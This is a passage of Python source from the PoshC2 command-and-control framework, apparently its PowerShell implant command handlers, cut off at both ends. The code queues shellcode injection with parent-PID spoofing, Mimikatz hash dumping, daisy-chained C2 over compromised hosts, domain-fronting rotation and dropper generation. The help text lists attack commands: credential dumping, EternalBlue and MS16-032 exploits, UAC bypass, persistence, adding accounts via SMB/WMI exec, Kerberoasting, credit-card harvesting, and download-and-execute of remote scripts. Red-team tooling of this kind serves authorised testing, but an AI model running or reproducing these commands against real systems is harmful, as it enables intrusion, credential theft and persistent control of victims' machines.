params = params.sub("", command)
|
|
implant = get_implant(implant_id)
|
|
implant_type = ImplantType.get(implant.type)
|
|
|
|
if implant.architecture == "AMD64":
|
|
arch = "64"
|
|
else:
|
|
arch = "86"
|
|
|
|
if implant_type == ImplantType.PowerShellHttpDaisy:
|
|
daisyname = input("Name required: ")
|
|
path = f"{PoshProjectDirectory}payloads/{daisyname}Posh_v4_x{arch}_Shellcode.bin"
|
|
shellcodefile = load_file(path)
|
|
elif implant_type == ImplantType.PowerShellHttpProxy:
|
|
path = f"{PoshProjectDirectory}payloads/ProxyPosh_v4_x{arch}_Shellcode.bin"
|
|
shellcodefile = load_file(path)
|
|
elif implant_type.is_powershell_implant():
|
|
path = f"{PoshProjectDirectory}payloads/Posh_v4_x{arch}_Shellcode.bin"
|
|
shellcodefile = load_file(path)
|
|
else:
|
|
print_bad(f"Unknown migration implant type: {implant_type}")
|
|
return
|
|
|
|
check_module_loaded("Inject-Shellcode.ps1", implant_id, user)
|
|
cmd = f"$Shellcode{arch}=\"{base64.b64encode(shellcodefile).decode('utf-8')}\" #{os.path.basename(path)}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
cmd = f"Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode{arch})){params}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_daisychain(user, command, implant_id):
|
|
"""
|
|
Calls Invoke-Daisychain to create a HTTP server in this implant
|
|
for daisy-chaining implants.
|
|
|
|
If unfamiliar with daisy-chaining, start-daisy is a more friendly way
|
|
to start daisy chaining implants.
|
|
|
|
Examples:
|
|
invoke-daisychain
|
|
"""
|
|
check_module_loaded("Invoke-DaisyChain.ps1", implant_id, user)
|
|
urls = f"{select_first(C2Server.urls)},{select_first(C2Server.socks_urls)}"
|
|
cmd = f"{command} -URLs '{urls}'"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: "DAISY"}, {Implant.id: implant_id})
|
|
print("Use create-daisy-payload on implant handler to generate payloads.")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_inject_shellcode(user, command, implant_id):
|
|
"""
|
|
Inject shellcode into a target process, obtaining an implant in that process.
|
|
|
|
Prompts for the shellcode file to use.
|
|
Can either provide an executable to run and an optional parent PID to spoof,
|
|
or the PID of an already running process.
|
|
|
|
New processes can be created suspended to prevent execution if desired.
|
|
|
|
RtlCreateUserThread can optionally be used to create the remote thread instead of CreateRemoteThread.
|
|
|
|
Examples:
|
|
inject-shellcode -x86 -procid 5634 -parentId 1111
|
|
inject-shellcode -x64 -parentId 1111 -procpath 'c:\\windows\\system32\\svchost.exe' -suspended
|
|
"""
|
|
params = re.compile("inject-shellcode", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
check_module_loaded("Inject-Shellcode.ps1", implant_id, user)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.shellcode-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Location of shellcode file: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
try:
|
|
shellcodefile = load_file(path)
|
|
|
|
if shellcodefile is not None:
|
|
arch = "64"
|
|
gzip_shellcode = gzipdata(shellcodefile)
|
|
cmd = f"$Shellcode{arch}=\"{gzip_shellcode}\" #{os.path.basename(path)}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
cmd = f"Inject-Shellcode -Shellcode (gzip-decompress($Shellcode{arch})){params}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print_bad(f"Error loading file: {e}")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_shellcode(user, command, implant_id):
|
|
"""
|
|
Invoke shellcode into a target process, obtaining an implant in that process.
|
|
|
|
Prompts for the shellcode file to use.
|
|
Can either provide an executable to run and an optional parent PID to spoof,
|
|
or the PID of an already running process.
|
|
|
|
New processes can be created suspended to prevent execution if desired.
|
|
|
|
Examples:
|
|
invoke-shellcode -processid 5634
|
|
"""
|
|
params = re.compile("invoke-shellcode", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
check_module_loaded("Invoke-Shellcode.ps1", implant_id, user)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.shellcode-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Location of shellcode file: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
try:
|
|
shellcodefile = load_file(path)
|
|
|
|
if shellcodefile is not None:
|
|
arch = "64"
|
|
gzip_shellcode = gzipdata(shellcodefile)
|
|
cmd = f"$Shellcode{arch}=\"{gzip_shellcode}\" #{os.path.basename(path)}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
cmd = f"Invoke-Shellcode -Force -Shellcode (gzip-decompress($Shellcode{arch})){params}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print_bad(f"Error loading file: {e}")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_ps(user, command, implant_id):
|
|
"""
|
|
Gets the process listing for current host, displaying more information
|
|
than a standard PowerShell Get-Process.
|
|
|
|
Examples:
|
|
ps
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command="get-processlist",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_hashdump(user, command, implant_id):
|
|
"""
|
|
Extract password hashes from the local SAM.
|
|
|
|
Uses Invoke-Mimikatz.ps1 to run "lsadump::sam".
|
|
|
|
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
|
|
|
|
Examples:
|
|
hashdump
|
|
"""
|
|
check_module_loaded("Invoke-Mimikatz.ps1", implant_id, user)
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command="Invoke-Mimikatz -Command '\"lsadump::sam\"'",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_stop_daisy(user, command, implant_id):
|
|
"""
|
|
Stop the Daisy HTTP server in this implant, if running.
|
|
|
|
Examples:
|
|
stop-daisy
|
|
"""
|
|
update_object(Implant, {Implant.label: ""}, {Implant.id: implant_id})
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_reverse_dns(user, command, implant_id):
|
|
"""
|
|
Perform a reverse DNS lookup on an IP address.
|
|
|
|
Examples:
|
|
reverse-dns 10.0.0.1
|
|
"""
|
|
params = re.compile("reversedns ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"[System.Net.Dns]::GetHostEntry(\"{params}\")"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_enable_rotation(user, command, implant_id):
|
|
"""
|
|
Enables comms rotation across multiple URLs.
|
|
|
|
Prompts the operator for a list of URLs to use, then an lists of
|
|
HTTP Host headers. There is a 1-to-1 relationship between the lists
|
|
and they must be the same size.
|
|
|
|
Examples:
|
|
enable-rotation
|
|
"""
|
|
domain = input("Domain or URL in array format: \"https://www.example.com\",\"https://www.example2.com\" ")
|
|
domainfront = input("Domain front URL in array format: \"fjdsklfjdskl.cloudfront.net\",\"jobs.azureedge.net\" ")
|
|
cmd = f"set-variable -name rotdf -value {domainfront}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
cmd = f"set-variable -name rotate -value {domain}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_rotation(user, command, implant_id):
|
|
"""
|
|
Retrieves the lists of URLs and HTTP Host headers in use for comms
|
|
rotation.
|
|
|
|
Examples:
|
|
get-rotation
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command="get-variable -name rotdf",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command="get-variable -name rotate",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_shell(user, command, implant_id):
|
|
"""
|
|
Runs a command directly on the PowerShell shell.
|
|
|
|
If a command is not recognised by PoshC2, this is the default action.
|
|
|
|
Examples:
|
|
shell get-process | select name,cpu | sort-object cpu -Descending
|
|
get-process | select name,cpu | sort-object cpu -Descending
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_multi_screenshot(user, command, implant_id):
|
|
"""
|
|
Gets multiple screenshots over a defined period, one screenshot per beacon.
|
|
|
|
Examples:
|
|
get-multi-screenshot -timedelay 10 -quantity 30
|
|
"""
|
|
pwrStatus = get_power_status(implant_id)
|
|
|
|
if pwrStatus is not None and pwrStatus.screen_locked:
|
|
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
|
|
|
|
if ri.lower() == "n" or ri.lower() == "":
|
|
return
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_stop_multi_screenshot(user, command, implant_id):
|
|
"""
|
|
Stops an existing get-multi-screenshot task.
|
|
|
|
Examples:
|
|
stop-multi-screenshot
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_screenshot_allwindows(user, command, implant_id):
|
|
"""
|
|
Gets a screenshot of all windows on the the current desktop.
|
|
|
|
Examples:
|
|
get-screenshot-allwindows
|
|
"""
|
|
pwrStatus = get_power_status(implant_id)
|
|
|
|
if pwrStatus is not None and pwrStatus.screen_locked:
|
|
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
|
|
|
|
if ri.lower() == "n" or ri.lower() == "":
|
|
return
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_screenshot(user, command, implant_id):
|
|
"""
|
|
Gets a screenshot of the current desktop across all displays.
|
|
|
|
Examples:
|
|
get-screenshot
|
|
"""
|
|
pwrStatus = get_power_status(implant_id)
|
|
|
|
if pwrStatus is not None and pwrStatus.screen_locked:
|
|
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
|
|
|
|
if ri.lower() == "n" or ri.lower() == "":
|
|
return
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_powerstatus(user, command, implant_id):
|
|
"""
|
|
Gets the PowerStatus of the target host.
|
|
|
|
Examples:
|
|
get-powerstatus
|
|
"""
|
|
get_powerstatus(implant_id)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_load_powerstatus(user, command, implant_id):
|
|
"""
|
|
Load the PowerStatus monitoring into this implant for this host.
|
|
|
|
Examples:
|
|
load-powerstatus
|
|
"""
|
|
update_object(Implant, {Implant.label: "PSM"}, {Implant.id: implant_id})
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_start_daisy(user, command, implant_id):
|
|
"""
|
|
Run a wizard to start daisy chaining, optionally creating new daisy payloads.
|
|
|
|
Examples:
|
|
start-daisy
|
|
"""
|
|
check_module_loaded("invoke-daisychain.ps1", implant_id, user)
|
|
elevated = input(Colours.GREEN + "Are you elevated? Y/n " + Colours.END)
|
|
domain_front = ""
|
|
proxy_username = ""
|
|
proxy_password = ""
|
|
proxy_url = ""
|
|
credential_expiry = ""
|
|
|
|
if elevated.lower() == "n":
|
|
cont = input(
|
|
Colours.RED + "Daisy from an unelevated context can only bind to localhost, continue? y/N " + Colours.END)
|
|
|
|
if cont.lower() == "n" or cont == "":
|
|
return
|
|
|
|
bind_ip = "localhost"
|
|
else:
|
|
bind_ip = input(Colours.GREEN + "Bind IP on the daisy host: " + Colours.END)
|
|
|
|
bind_port = input(Colours.GREEN + "Bind Port on the daisy host: " + Colours.END)
|
|
firstdaisy = input(Colours.GREEN + "Is this the first daisy in the chain? Y/n? " + Colours.END)
|
|
default_url = get_first_url(PayloadCommsHost, DomainFrontHeader)
|
|
default_df_header = get_first_domainfront_header(DomainFrontHeader)
|
|
|
|
if default_df_header == default_url:
|
|
default_df_header = None
|
|
|
|
if firstdaisy.lower() == "y" or firstdaisy == "":
|
|
upstream_url = input(Colours.GREEN + f"C2 URL (leave blank for {default_url}): " + Colours.END)
|
|
domain_front = input(
|
|
Colours.GREEN + f"Domain front header (leave blank for {str(default_df_header)}): " + Colours.END)
|
|
proxy_username = input(Colours.GREEN + "Proxy user (<domain>\\<username>, leave blank if none): " + Colours.END)
|
|
proxy_password = input(Colours.GREEN + "Proxy password (leave blank if none): " + Colours.END)
|
|
proxy_url = input(Colours.GREEN + "Proxy URL (leave blank if none): " + Colours.END)
|
|
credential_expiry = input(Colours.GREEN + "Password/Account Expiration Date: .e.g. 15/03/2018: ")
|
|
|
|
if not upstream_url:
|
|
upstream_url = default_url
|
|
|
|
if not domain_front:
|
|
if default_df_header:
|
|
domain_front = default_df_header
|
|
else:
|
|
domain_front = ""
|
|
else:
|
|
upstream_daisy_host = input(Colours.GREEN + "Upstream daisy server: " + Colours.END)
|
|
upstream_daisy_port = input(Colours.GREEN + "Upstream daisy port: " + Colours.END)
|
|
upstream_url = f"http://{upstream_daisy_host}:{upstream_daisy_port}"
|
|
|
|
command = f"invoke-daisychain -daisyserver http://{bind_ip} -port {bind_port} -c2server {upstream_url}"
|
|
|
|
if domain_front:
|
|
command = command + f" -domfront {domain_front}"
|
|
|
|
if proxy_url:
|
|
command = command + f" -proxyurl '{proxy_url}'"
|
|
|
|
if proxy_username:
|
|
command = command + f" -proxyuser '{proxy_username}'"
|
|
|
|
if proxy_password:
|
|
command = command + f" -proxypassword '{proxy_password}'"
|
|
|
|
if elevated.lower() == "y" or elevated == "":
|
|
firewall = input(Colours.GREEN + "Add firewall rule? (uses netsh.exe) y/N: ")
|
|
|
|
if firewall.lower() == "n" or firewall == "":
|
|
command = command + " -nofwrule"
|
|
else:
|
|
print_good("Not elevated so binding to localhost and not adding firewall rule")
|
|
command = command + " -localhost"
|
|
|
|
urls = f"{select_first(C2Server.urls)},{select_first(C2Server.socks_urls)}"
|
|
command = command + f" -urls '{urls}'"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: "DAISY"}, {Implant.id: implant_id})
|
|
createpayloads = input(Colours.GREEN + "Would you like to create payloads for this Daisy Server? Y/n ")
|
|
|
|
if createpayloads.lower() == "y" or createpayloads == "":
|
|
name = input(Colours.GREEN + "Enter a payload name: " + Colours.END)
|
|
host_implant = get_implant(implant_id)
|
|
powershell_proxy_command = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}"
|
|
c2_server = select_first(C2Server)
|
|
url = URL(
|
|
name=name,
|
|
url=f"http://{bind_ip}:{bind_port}",
|
|
host_header="",
|
|
proxy_url=proxy_url,
|
|
proxy_username=proxy_username,
|
|
proxy_password=proxy_password,
|
|
credential_expiry=credential_expiry
|
|
)
|
|
|
|
insert_object(url)
|
|
|
|
if url.id:
|
|
new_payload = Payloads(
|
|
c2_server.kill_date,
|
|
c2_server.encryption_key,
|
|
c2_server.insecure,
|
|
c2_server.user_agent,
|
|
c2_server.referer,
|
|
f"{get_new_implant_url()}?d",
|
|
PayloadsDirectory,
|
|
url_id=url.id,
|
|
powershell_proxy_command=powershell_proxy_command
|
|
)
|
|
|
|
new_payload.ps_dropper = new_payload.ps_dropper.replace(f"$pid;{upstream_url}",
|
|
f"$pid;{host_implant.user}@{host_implant.domain}")
|
|
new_payload.create_droppers(f"{name}_")
|
|
new_payload.create_raw(f"{name}_")
|
|
new_payload.create_shellcode(f"{name}_")
|
|
new_payload.create_donut_shellcode(f"{name}_")
|
|
new_payload.create_dynamic_payloads(f"{name}_")
|
|
print_good(f"Created new {name} daisy payloads")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_help(user, command, implant_id):
|
|
"""
|
|
Displays a list of all the available commands for this implant, or
|
|
help for a particular command if specified.
|
|
|
|
Examples:
|
|
help
|
|
help list-modules
|
|
help inject-shellcode
|
|
"""
|
|
print_command_help(command, commands, commands_help, block_help)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_helpold(user, command, implant_id):
|
|
"""
|
|
Displays a list of all the available commands for this implant, or
|
|
help for a particular command if specified.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
help
|
|
help list-modules
|
|
help inject-shellcode
|
|
"""
|
|
|
|
posh_help = """
|
|
* Implant Features:
|
|
=====================
|
|
ps
|
|
invoke-urlcheck -urls https://api.hsbc.com,https://d36xb1r83janbu.cloudfront.net -domainfront d2argm04ypulrn.cloudfront.net,d36xb1r83janbu.cloudfront.net -uri /en-gb/surface/accessories/
|
|
searchhelp mimikatz
|
|
searchallhelp mimikatz
|
|
searchhistory invoke-mimikatz
|
|
label-implant <newlabel>
|
|
remove-label
|
|
get-hash
|
|
enable-rotation
|
|
get-rotation
|
|
unhidefile
|
|
hidefile
|
|
get-ipconfig
|
|
netstat
|
|
beacon 60s / beacon 10m / beacon 2h
|
|
turtle 60s / turtle 30m / turtle 8h
|
|
kill-process
|
|
kill-implant
|
|
hide-implant
|
|
unhide-implant
|
|
loadpowerstatus
|
|
get-proxy
|
|
get-computerinfo
|
|
unzip <source file> <destination folder>
|
|
get-system
|
|
get-implantworkingdirectory
|
|
get-pid
|
|
posh-delete c:\\temp\\svc.exe
|
|
get-webpage http://intranet
|
|
listmodules
|
|
modulesloaded
|
|
loadmodule <modulename>
|
|
loadmodule inveigh.ps1
|
|
loadmoduleforce inveigh.ps1
|
|
get-userinfo
|
|
invoke-hostenum -all
|
|
find-allvulns
|
|
invoke-expression (get-webclient).downloadstring("https://module.ps1")
|
|
startanotherimplant or sai
|
|
startdaisy
|
|
invoke-daisychain -daisyserver http://192.168.1.1 -port 8899 -c2port 443 -c2server https://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080 -proxyuser dom\\test -proxypassword pass -localhost (optional if low level user)
|
|
createproxypayload -user <dom\\user> -pass <pass> -proxyurl <http://10.0.0.1:8080>
|
|
get-mshotfixes
|
|
get-firewallrulesall | out-string -width 200
|
|
enablerdp
|
|
disablerdp
|
|
netsh.exe advfirewall firewall add rule name="enablerdp" dir=in action=allow protocol=tcp localport=any enable=yes
|
|
get-wlanpass
|
|
get-wmiobject -class win32_product
|
|
get-creditcarddata -path 'c:\\backup\\'
|
|
timestomp c:\\windows\\system32\\service.exe "01/03/2008 12:12 pm"
|
|
icacls c:\\windows\\system32\\resetpassword.exe /grant administrator:f
|
|
create-shortcut -sourceexe "c:\\windows\\notepad.exe" -argumentstosourceexe "" -destinationpath "c:\\users\\public\\notepad.lnk"
|
|
get-allfirewallrules c:\\temp\\rules.csv
|
|
get-allservices
|
|
get-wmireglastloggedon
|
|
get-wmiregcachedrdpconnection
|
|
get-wmiregmounteddrive
|
|
resolve-ipaddress
|
|
get-process -id $pid -module |%{ if ($_.modulename -eq "amsi.dll") {echo "`nAMSI Loaded`n"} }
|
|
get-wmiObject -class win32_product
|
|
|
|
* Privilege Escalation:
|
|
====================
|
|
invoke-allchecks
|
|
Invoke-PsUACme -Payload "c:\\temp\\uac.exe" -method sysprep
|
|
get-mshotfixes | where-object {$_.hotfixid -eq "kb2852386"}
|
|
invoke-ms16-032
|
|
invoke-ms16-032-proxypayload
|
|
invoke-eternalblue -target 127.0.0.1 -initialgrooms 5 -maxattempts 1 -msfbind
|
|
get-gpppassword
|
|
get-content 'c:\\programdata\\mcafee\\common framework\\sitelist.xml'
|
|
dir -recurse | select-string -pattern 'password='
|
|
|
|
* File Management:
|
|
=================
|
|
download-file -source 'c:\\temp dir\\run.exe'
|
|
download-files -directory 'c:\\temp dir\\'
|
|
upload-file -source 'c:\\temp\\run.exe' -destination 'c:\\temp\\test.exe'
|
|
web-upload-file -from 'http://www.example.com/app.exe' -to 'c:\\temp\\app.exe'
|
|
|
|
* Persistence (with powershell.exe):
|
|
====================================
|
|
install-persistence 1,2,3
|
|
remove-persistence 1,2,3
|
|
install-servicelevel-persistence
|
|
remove-servicelevel-persistence
|
|
invoke-wmievent -name backup -command "powershell -enc abc" -hour 10 -minute 30
|
|
get-wmievent
|
|
remove-wmievent -name backup
|
|
|
|
* Persistence:
|
|
=============
|
|
installexe-persistence
|
|
removeexe-persistence
|
|
|
|
* Network Tasks / Lateral Movement:
|
|
==================================
|
|
get-externalip
|
|
test-adcredential -domain test -user ben -password password1
|
|
invoke-smblogin -target 192.168.100.20 -domain testdomain -username test -hash/-password
|
|
invoke-smbclient -Action Put -source c:\\temp\\test.doc -destination \\test.com\\c$\\temp\\test.doc -hash
|
|
invoke-smbexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add"
|
|
invoke-wmiexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add"
|
|
net view | net users | net localgroup administrators | net accounts /dom
|
|
whoami /groups | whoami /priv
|
|
|
|
* Active Directory Enumeration:
|
|
==================
|
|
invoke-aclscanner
|
|
invoke-aclscanner | Where-Object {$_.IdentityReference -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}
|
|
get-objectacl -resolveguids -samaccountname john
|
|
add-objectacl -targetsamaccountname arobbins -principalsamaccountname harmj0y -rights resetpassword
|
|
get-netuser -admincount | select samaccountname
|
|
get-netuser -uacfilter not_accountdisable -properties samaccountname,pwdlastset
|
|
get-domainuser -uacfilter not_password_expired,not_accountdisable -properties samaccountname,pwdlastset | export-csv act.csv
|
|
get-netgroup -admincount | select samaccountname
|
|
get-netgroupmember "domain admins" -recurse|select membername
|
|
get-netcomputer | select-string -pattern "citrix"
|
|
get-netcomputer -filter operatingsystem=*7*|select name
|
|
get-netcomputer -filter operatingsystem=*2008*|select name
|
|
get-netcomputer -searchbase "LDAP://OU=Windows 2008 Servers,OU=ALL Servers,DC=poshc2,DC=co,DC=uk"|select name
|
|
get-netcomputer -domaincontroller internal.domain.com -domain internal.domain.com -Filter "(lastlogontimestamp>=$((Get-Date).AddDays(-30).ToFileTime()))(samaccountname=UK*)"|select name,lastlogontimestamp,operatingsystem
|
|
get-domaincomputer -ldapfilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -spn "wsman*" -properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl
|
|
get-netgroup | select-string -pattern "internet"
|
|
get-netuser | select-object samaccountname,userprincipalname
|
|
get-netuser -filter samaccountname=test
|
|
get-netuser -filter userprinciplename=test@test.com
|
|
get-netgroup | select samaccountname
|
|
get-netgroup "*ben*" | select samaccountname
|
|
get-netgroupmember "domain admins" -recurse|select membername
|
|
get-netshare hostname
|
|
invoke-sharefinder -verbose -checkshareaccess
|
|
new-psdrive -name "p" -psprovider "filesystem" -root "\\\\bloredc1\\netlogon"
|
|
|
|
* Domain Trusts:
|
|
==================
|
|
get-netdomain | get-netdomaincontroller | get-netforestdomain
|
|
get-netforest | get-netforesttrust
|
|
invoke-mapdomaintrust
|
|
get-netuser -domain child.parent.com -filter samaccountname=test
|
|
get-netgroup -domain child.parent.com | select samaccountname
|
|
|
|
* Domain / Network Tasks:
|
|
==================
|
|
invoke-bloodhound -collectionmethod stealth
|
|
get-netdomaincontroller | select name | get-netsession | select *username,*cname
|
|
get-dfsshare | get-netsession | select *username,*cname
|
|
get-netfileserver | get-netsession | select *username,*cname
|
|
invoke-kerberoast -outputformat hashcat|select-object -expandproperty hash
|
|
get-domaingpouserlocalgroupmapping -Identity MYSPNUSER -Domain internal.domain.com -server dc01.internal.domain.com |select ComputerName -expandproperty ComputerName | fl
|
|
get-domaingpouserlocalgroupmapping -LocalGroup RDP -Identity MYSPNUSER -Domain internal.domain.com -server dc01.internal.domain.com |select ComputerName -expandproperty ComputerName | fl
|
|
write-scffile -ipaddress 127.0.0.1 -location \\\\localhost\\c$\\temp\\
|
|
write-inifile -ipaddress 127.0.0.1 -location \\\\localhost\\c$\\temp\\
|
|
get-netgroup | select-string -pattern "internet"
|
|
invoke-hostscan -iprangecidr 172.16.0.0/24 (provides list of hosts with 445 open)
|
|
get-netfileserver -domain testdomain.com
|
|
find-interestingfile -path \\\\server\\share -officedocs -lastaccesstime (get-date).adddays(-7)
|
|
get-netlocalgroupmember -computername host1 -groupname administrators| select membername
|
|
brute-ad
|
|
brute-locadmin -username administrator
|
|
get-passpol
|
|
get-passnotexp
|
|
get-locadm
|
|
invoke-inveigh -http y -proxy y -nbns y -tool 1 -StartupChecks y
|
|
get-inveigh
|
|
stop-inveigh
|
|
invoke-sniffer -outputfile c:\\temp\\output.txt -maxsize 50mb -localip 10.10.10.10
|
|
invoke-sqlquery -sqlserver 10.0.0.1 -user sa -pass sa -query 'select @@version'
|
|
invoke-runas -user <user> -password '<pass>' -domain <dom> -command c:\\windows\\system32\\cmd.exe -args " /c calc.exe"
|
|
runas-netonly "domain" "username" "password" "ls \\\\mydc\\c$"
|
|
invoke-pipekat -target <ip-optional> -domain <dom> -username <user> -password '<pass>' -hash <hash-optional>
|
|
invoke-wmiexec -target <ip> -domain <dom> -username <user> -password '<pass>' -hash <hash-optional> -command <cmd>
|
|
|
|
* Lateral Movement - powershell.exe:
|
|
=========================================================
|
|
invoke-runaspayload -user <user> -password '<pass>' -domain <dom> -credid <credid-optional>
|
|
invoke-psexecpayload -target <ip> -domain <dom> -user <user> -pass '<pass>' -hash <hash-optional> -credid <credid-optional>
|
|
invoke-wmipayload -target <ip> -domain <dom> -username <user> -password '<pass>' -hash <hash-optional> -credid <credid-optional>
|
|
invoke-winrmsession -ipaddress <ip> -user <dom\\user> -pass <pass> -credid <credid-optional>
|
|
invoke-dcompayload -target <ip>
|
|
|
|
* Lateral Movement - shellcode:
|
|
=========================================================
|
|
invoke-wmijspayload -target <ip> -domain <dom> -user <user> -pass '<pass>' -credid <credid-optional>
|
|
|
|
* Credentials / Tokens / Local Hashes (Must be SYSTEM):
|
|
=========================================================
|
|
invoke-mimikatz -command '"sekurlsa::logonpasswords"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::sam"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::lsa"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::cache"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::secrets"'
|
|
invoke-mimikatz -command '"ts::multirdp"'
|
|
invoke-mimikatz -command '"privilege::debug"'
|
|
invoke-mimikatz -command '"crypto::capi"'
|
|
invoke-mimikatz -command '"crypto::certificates /export"'
|
|
